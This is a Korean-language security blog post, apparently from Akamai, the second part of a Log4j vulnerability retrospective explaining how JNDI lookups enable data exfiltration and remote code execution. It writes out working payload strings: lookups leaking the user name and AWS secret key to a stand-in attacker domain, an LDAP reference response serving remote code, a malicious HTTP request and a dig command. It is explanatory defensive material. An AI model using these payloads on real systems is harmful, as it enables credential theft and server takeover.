Log4j 레트로스펙티브(Retrospective) Part 2: 데이터 탈취 및 원격 코드 실행 공격
데이터 탈취
Part 1에서,이 취약점에 대한 배경 지식을 다루었습니다. 이제 실제 공격에 대해 살펴보겠습니다. 이전 게시물에서 언급한 바와 같이, JNDI는 Java Runtime Environment 내의 로컬 데이터 쿼리뿐만 아니라 DNS 및 LDAP와 같은 원격 시스템에도 쿼리를 허용합니다. JNDI, 원격 시스템, env 룩업(lookup) 및 네스팅(nesting)을 결합하면 기록될 텍스트에 배치되었을 때 데이터를 탈취하는 페이로드가 생성될 수 있습니다.
이 예시에서는 공격자가 malware.example이라는 도메인 이름을 소유한다고 가정하겠습니다..
참고: 이 문서에서 실제 도메인 이름을 쓰지 않기 위해서 최상위 도메인 이름인 .example을 사용합니다. 다만 독자는 이 이름을 공격자가 구입할 수 있는 모든 도메인 이름으로 바꿀 수 있다고 가정해야 합니다.
다음으로, 공격자가 Log4j에 전송되는 텍스트를 조작할 수 있다고 가정합니다. 이 게시물 후반부에서 이 문제가 어떻게 발생할 수 있는지 살펴볼 것입니다. 이 예시에서는 텍스트가 다음과 같이 표시된다고 가정해 보겠습니다.
“Log this: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}”
앞에서 설명한 네스팅 원칙에 따라 Log4j는 ${env:USER}를 먼저 평가하고,그 결과 소프트웨어를 실행하는 사용자를 조회할 수 있습니다. 이것이 Administrator라고 다시 가정해보겠습니다. 그리고 Log4j는 이 중간 로그 라인을 생성하는 텍스트로 다시 대체합니다.
“Log this: ${jndi:dns://127.0.0.1:53/Administrator.malware.example}”
이 라인에는 여전히 다음과 같은 룩업(lookup) 식이 포함되어 있습니다.
${jndi:dns://127.0.0.1:53/Administrator.malware.example}
Log4j는 JNDI 기반 룩업(lookup) 식을 확인하고, dns://127.0.0.1:53/Administrator.malware.example의 유사 URL을 구문 분석하여JNDI로 전달합니다. JNDI는 이 유사 URL을 DNS 공급자가 필요한 것으로 인식하고, Administrator.malware.example에 대한 로컬호스트 리졸버를 사용하여 DNS 룩업(lookup)을 수행합니다.
왜냐하면 malware.example은 악성 행위자의 소유이기 때문에 Administrator.malware.example에 대한 DNS 쿼리가 권한 DNS 서버에 도달합니다. DNS 쿼리를 관찰함으로써 이제 악의적인 당사자는 취약한 Log4j 코드를 사용하는 소프트웨어가 Administrator 사용자로 실행되고 있음을 알게 되었습니다.
이는 신중하게 제작된 페이로드가 Log4j에 제공되는 경우 데이터가 환경에서 얼마나 쉽게 유출되는지를 보여 줍니다. 더욱이 현재 실행 중인 사용자가 유출되는 것뿐만 아니라, 훨씬 더 심각하고 많은 기밀 정보가 이 문제에 취약합니다.
한 예로(실제로 관찰된 사례이기도 합니다), 위의 ${env:USER}를 ${env:AWS_SECRET_ACCESS_KEY}로 변경하여다음 스트링을 생성하는 경우 어떤 일이 일어날지 고려해 보시기 바랍니다.
“Log this: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}”
이전 로직에 따르면, Log4j 코드가 실행 중인 Amazon 환경에 대한 AWS 시크릿 접속 키가 포함된 악성 행위자의 권한 DNS 서버에 DNS 쿼리가 도착하는 결과를 낳게 될 것입니다. 이러한 정보 유출은 AWS 인스턴스 탈취로 이어질 수 있습니다.
말 그대로, Log4j 룩업(lookup) 식을 통해 접속할 수 있는 취약한 코드를 실행하는 소프트웨어 환경에 있는 모든 정보가 쉽게 네스팅되어 공격자 제어 시스템에 닿게 됩니다.
이것만으로도 이미 끔찍하지만, 훨씬 더 나빠질 수 있습니다.
원격 코드 실행
일부 Java 버전에서 기본값으로 JNDI를 구현하면 일부 디렉터리 서비스가 쿼리 시스템이 로컬에서 실행하는 원격 코드를 사용하여 쿼리에 직간접적으로 응답할 수 있습니다.
예를 들어, 취약한 시설의 LDAP 디렉터리 서비스 공급자를 사용하면 LDAP 서버가 reference로 알려진 쿼리를 사용하여 응답할 수 있습니다. 이 참조에는 로컬로 다운로드하여 실행하는 코드의 원격 위치가 나열되어 있습니다.
처음에는 이 기능이 매우 이상해 보일 수 있지만, LDAP 서버 및 관련 인프라를 신뢰할 수 있는 고도로 통제된 환경에서는 이 기능을 유효하게 사용할 수 있습니다. 공격자가 요청하는 시스템이 자신이 제어하는 신뢰할 수 없는 LDAP 서버를 가리킬 때 문제가 발생합니다. 공격자는 JNDI가 호스트 시스템에서 중복 다운로드 및 실행할 악성 코드에 대한 참조를 반환할 수 있습니다.
취약한 Log4j 인스턴스는 룩업(lookup) 식을 통해 JNDI에 대한 무제한 액세스를 허용하기 때문에, 신중하게 제작된 로그 행을 통해 원격 코드를 로드하고 실행할 수 있습니다. Log4j에 전송되는 다음 메시지를 고려해 보시기 바랍니다.
“Log this: ${jndi:ldap://rce.malware.example/a}”
취약한 시스템 상에서, Log4j는 ${jndi:ldap://rce.malware.example/a} 룩업(lookup) 식을 확인하고 JNDI 유사 URL인 ldap://rce.malware.example/a를 추출하여처리를 위해 JNDI에 전달합니다. JNDI는 이 URL이 LDAP 디렉터리 서비스 공급자를 사용하고 있음을 확인하고 rce.malware.example 사이트에 LDAP 쿼리를 발행합니다 .
rce.malware.example 은 악의적인 당사자가 소유하고 운영하기 때문에, 다음과 유사해 보이는 LDAP 응답으로 참조 페이로드를 다시 보냅니다.
dn:
javaClassName: exploit
javaCodeBase: http://rce.malware.com/exploit/
objectClass: javaNamingReference
javaFactory: exploitFactory
이 응답을 받으면 JNDI는 http://rce.malware.com/exploit/ 웹 서버 URL에 도달합니다. 그리고 관련된 악성 원격 코드 실행 페이로드를 다운로드하여 Log4j를 실행 중인 시스템에서 수행합니다.
공격 대상
이러한 끔찍한 공격에서는 모두 특수하게 제작된 메시지를 Log4j에 전달해야 합니다. 따라서 명백한 질문은 다음과 같습니다. 공격자는 어떻게 이 작업을 수행할 수 있을까요? 정답은 그들이 제공하는 정보가 기록될 수 있는 모든 기회를 활용하는 것입니다.
현재, 가장 일반적인 공격 기법은 웹 기반 애플리케이션에 대항하는 것입니다. 이러한 많은 애플리케이션은 사이트를 방문하는 최종 사용자와의 인터랙션을 기록합니다. 예를 들어 요청된 경로와 사용자 에이전트, 시간 및 요청 결과를 기록할 수 있습니다.
이를 알게 되면 공격자는 웹 애플리케이션에 연결하여 다음과 같은 요청을 할 수 있습니다.
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
User-Agent: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}
웹 애플리케이션은 요청을 받으면 /${jndi:ldap://rce.malware.example/a}의 경로 및 ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example} 의 사용자 에이전트를 구문 분석하고두 가지를 모두 Log4j로 보냅니다. 취약한 시스템에서 이 작업을 수행하면 AWS 시크릿 접속 키가 유출되고 임의의 코드가 다운로드되고 실행됩니다.
웹 기반 애플리케이션은 현재 그 어떤 것보다도 훨씬 더 많이 표적이 되고 있는 것이 사실입니다. 다음 기준에 해당하는 모든 서비스는 악용의 대상이 될 수 있다는 점을 반드시 기억하시기 바랍니다.
Java 실행
취약한 버전의 Log4j를 사용하여 메시지를 기록함
공격자가 제공하는 항목(URL, 헤더, 쿠키, 쿼리 등)을 기록함
이런 맥락에서 Akamai는 웹 애플리케이션 변종보다 훨씬 낮은 비율이지만, DNS에 대한 또 다른 기법을 발견했습니다. 취약한 DNS 리졸버가 있는지 확인하기 위해, 공격자는 악용 가능한 페이로드가 포함된 DNS 쿼리를 발행하고 있습니다. 이 방법은 명령줄에서 다음 DNS 룩업(lookup)을 실행하는 것만큼이나 간단합니다.
# dig '${jndi:ldap://rce.malware.example/a}.foo.example'
이는 Log4j 룩업(lookup) 문자열 자체에 대한 호스트의 구성된 리졸버에게 DNS 쿼리를 발행하기 위해 명령어가 실행되는 시스템에 지시를 내립니다. 특히 잘못된 문자가 포함되어 있기 때문에, 이러한 쿼리를 받는 DNS 리졸버가 해당 쿼리를 기록할 수 있습니다. DNS 리졸버가 Java 기반이고 로깅에 취약한 Log4j 라이브러리 버전을 사용하는 경우 악용될 수 있습니다.
이러한 공격은 쿼리에 국한되지 않습니다. Akamai가 모니터링하는 또 다른 접근 방식은 DNS 응답에 내장된 페이로드입니다. 대부분의 DNS 쿼리는 CNAME, TXT, SRV, PTR 등 IP 주소 이외의 정보를 포함하는 응답을 생성할 수 있습니다. 공격자가 악용 가능한 문자열을 포함시키기 위해 자신이 소유한 응답 레코드를 조작하여 응답 측에서 리졸버를 비롯한 이러한 룩업(lookups)의 결과를 기록할 수 있는 애플리케이션을 공격하고 있다는 증거가 나타나고 있습니다.
잘 알려진 인터넷 프로토콜을 사용하는 것은 일부만 다룰 뿐입니다. 공격 대상은 이러한 사용 사례를 훨씬 뛰어 넘습니다. 실제로 보안 연구 결과, 최근 iPhone의 이름을 취약한 Log4j 악용 문자열로 바꾸면 서버가 Apple의 인프라 핑(ping)을 통해 되돌아와 취약한 시스템이 휴대폰의 이름을 처리했음이 나타났습니다.
이 취약점이 얼마나 나쁜지 이해하기 위해서는,Java가 전 세계 수십억 대의 장치에서 실행되고 있으며, Log4j는 가장 널리 사용되는 로깅 라이브러리 중 하나라는 점을 고려해야 합니다. 웹 서버에서 자판기에 이르기까지 모든 것이 취약할 수 있으며, 임베디드 및 IoT 디바이스의 경우 많은 사람들이 패치를 적용할 수 있는 능력조차 없을 수 있습니다.
실제로, 공격 대상은 이 공격에 노출되는 장치의 수뿐만 아니라 노출되는 시간도 포함합니다. 범위가 넓고 일부 구성 요소에 패치를 적용할 수 없다는 점이 결합하면 이 취약점이 수개월이 아니라 수년 동안 발생할 가능성이 있음을 의미합니다. 또한 공격면의 크기와 충격 모두에서, 앞서 취약점이 잘 알려진 Shellshock 및 Heartbleed를 능가할 수 있습니다.
다음 단계
이어서 Part 3을 읽어보시기 바랍니다. 여기에서는 진화하는 환경에서 조직을 보호하는 데 사용할 수 있는 공격 진화와 방어에 대해 자세히 설명합니다.